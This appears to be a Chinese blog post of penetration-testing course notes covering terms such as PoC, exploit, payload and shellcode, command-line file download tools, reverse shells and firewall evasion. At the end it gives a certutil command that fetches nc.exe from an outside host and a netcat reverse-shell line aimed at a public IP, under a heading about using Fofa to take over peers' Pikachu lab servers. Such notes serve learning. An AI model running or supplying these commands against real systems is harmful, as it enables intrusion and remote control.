当前位置: 首页 > news >正文

操作系统名词_文件下载_反弹shell_1

目录

名词解释

Poc、EXP、Payload与shellcode

后门

木马、病毒

黑白盒测试

社会工程学、撞库

ATT&CK

应用实例

实用案例1:文件上传下载-解决无图形化&解决数据传输

实用案例2:反弹shell命令-解决数据回显&解决数据通讯

结合案例1:防火墙绕过-正向连接&反向连接&内网服务器 

#结合案例2:学会了有手就行-Fofa拿下同行Pikachu服务器


名词解释

Poc、EXP、Payload与shellcode


POC:全称'Proof of Concept',中文'概念验证',常指一段漏洞证明的代码,
EXP:全称'Exploit',中文‘利用',指利用系统漏洞进行攻击的动作。
Payload:中文'有效载荷',指成功exploit之后,真正在目标系统执行的代码或指今。
Shellcode:简单翻译'shell代码',是Payload的一种,由于其建立正向/反向shell而得名。

poc是验证代码,看漏洞是否存在。exp是利用代码,是关键。

后门

webshow是指网站一类的后门。

木马、病毒

木马是控制电脑,病毒就是纯破坏性。

黑白盒测试

黑盒就是无法得到源代码时进行测试。

社会工程学、撞库

        社会工程学就是通过人而不是程序,撞库就是收集某些公式泄露的数据,通过这些数据去尝试这些用户的其他账户。

ATT&CK

        就是一些漏洞的专有名词,可以在写报告的时候用上。

应用实例

实用案例1:文件上传下载-解决无图形化&解决数据传输

        在上传和下载文件时,很多时候我们没有图形化界面,这时就需要使用相应的指令在对应的系统中进行下载。
Linux:wget curl python ruby perl java

linux一般是wget和curl命令进行下载


Windows:PowerShell Certutil Bitsadmin msiexec mshta rundl132

windows一般使用powershell命令进行下载。

实用案例2:反弹shell命令-解决数据回显&解决数据通讯

反弹是指将权限移动到了另一个地方。

解决数据回显:就是指我们发射攻击的东西后,对方回给我们一个反馈,告诉我们成功了没有。


useradd用户名passwd用户名

交互式就是我们输入一个命令后,系统会等待我们的输入。 

测试linux系统添加用户或修改密码命令交互回显问题。

我们能管理外网,但外网不能直接管理我们,因为外网不能直接锁定到内网具体是哪一个用户。

结合案例1:防火墙绕过-正向连接&反向连接&内网服务器 

防火墙对入站检测严格,出站检测宽松。

        比如windows主机和一个linux主机,只有windows主机开了防火墙,那么可以从windows主机交出数据给linux,此时为出站。碰到防火墙,尽量让对方主动找我们,而不是我们去找他。

#结合案例2:学会了有手就行-Fofa拿下同行Pikachu服务器

pikachu是一个靶场,上面有很多漏洞。
文件下载&反弹shell:
certutil -urlcache -split -f http://www.xiaodi8.com/nc.exe nc.exe
nc-ecmd47.75.212.1555566

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • C#/.NET/.NET Core技术前沿周刊 | 第 5 期(2024年9.9-9.15)
  • spring security OAuth2 搭建资源服务器以及授权服务器/jdbc/jwt两种方案
  • 【Spark性能调优】长尾任务如何优化
  • robosuite基础教程(一)——基本概念
  • 如何解决“json schema validation error ”错误? -- HarmonyOS自学6
  • fiddler抓包01:工具介绍
  • 时序必读论文11|ICLR23 TimesNet时间序列分析的二维变化建模
  • Https AK--(ssl 安全感满满)
  • 24.9.16数据结构|平衡二叉树
  • uniapp中实现<text>文本内容点击可复制或拨打电话
  • Miracast/WifiDisplay开发相关的深入调研分析-android投屏实战开发
  • PMP--一模--解题--111-120
  • 数据结构-链表
  • 【Java集合】ArrayList
  • Java HashMap 总结
  • 【跃迁之路】【477天】刻意练习系列236(2018.05.28)
  • Java的Interrupt与线程中断
  • Unix命令
  • 从tcpdump抓包看TCP/IP协议
  • 从零到一:用Phaser.js写意地开发小游戏(Chapter 3 - 加载游戏资源)
  • 动态规划入门(以爬楼梯为例)
  • 买一台 iPhone X,还是创建一家未来的独角兽?
  • 如何优雅地使用 Sublime Text
  • 使用 5W1H 写出高可读的 Git Commit Message
  • 在GitHub多个账号上使用不同的SSH的配置方法
  • 组复制官方翻译九、Group Replication Technical Details
  • ​ 无限可能性的探索:Amazon Lightsail轻量应用服务器引领数字化时代创新发展
  • ​ArcGIS Pro 如何批量删除字段
  • ​浅谈 Linux 中的 core dump 分析方法
  • #QT(TCP网络编程-服务端)
  • $L^p$ 调和函数恒为零
  • (145)光线追踪距离场柔和阴影
  • (33)STM32——485实验笔记
  • (done) ROC曲线 和 AUC值 分别是什么?
  • (HAL库版)freeRTOS移植STMF103
  • (java版)排序算法----【冒泡,选择,插入,希尔,快速排序,归并排序,基数排序】超详细~~
  • (php伪随机数生成)[GWCTF 2019]枯燥的抽奖
  • (二)十分简易快速 自己训练样本 opencv级联lbp分类器 车牌识别
  • (六)什么是Vite——热更新时vite、webpack做了什么
  • (四) 虚拟摄像头vivi体验
  • (一)硬件制作--从零开始自制linux掌上电脑(F1C200S) <嵌入式项目>
  • (译)计算距离、方位和更多经纬度之间的点
  • (转)Unity3DUnity3D在android下调试
  • ./configure,make,make install的作用(转)
  • .equals()到底是什么意思?
  • .NET Compact Framework 多线程环境下的UI异步刷新
  • .NET Core 中的路径问题
  • .NET MVC、 WebAPI、 WebService【ws】、NVVM、WCF、Remoting
  • .net 中viewstate的原理和使用
  • .NET的微型Web框架 Nancy
  • .NET开源的一个小而快并且功能强大的 Windows 动态桌面软件 - DreamScene2
  • @开发者,一文搞懂什么是 C# 计时器!
  • [ C++ ] STL---stack与queue
  • [ Linux Audio 篇 ] 音频开发入门基础知识
  • [BUAA软工]第一次博客作业---阅读《构建之法》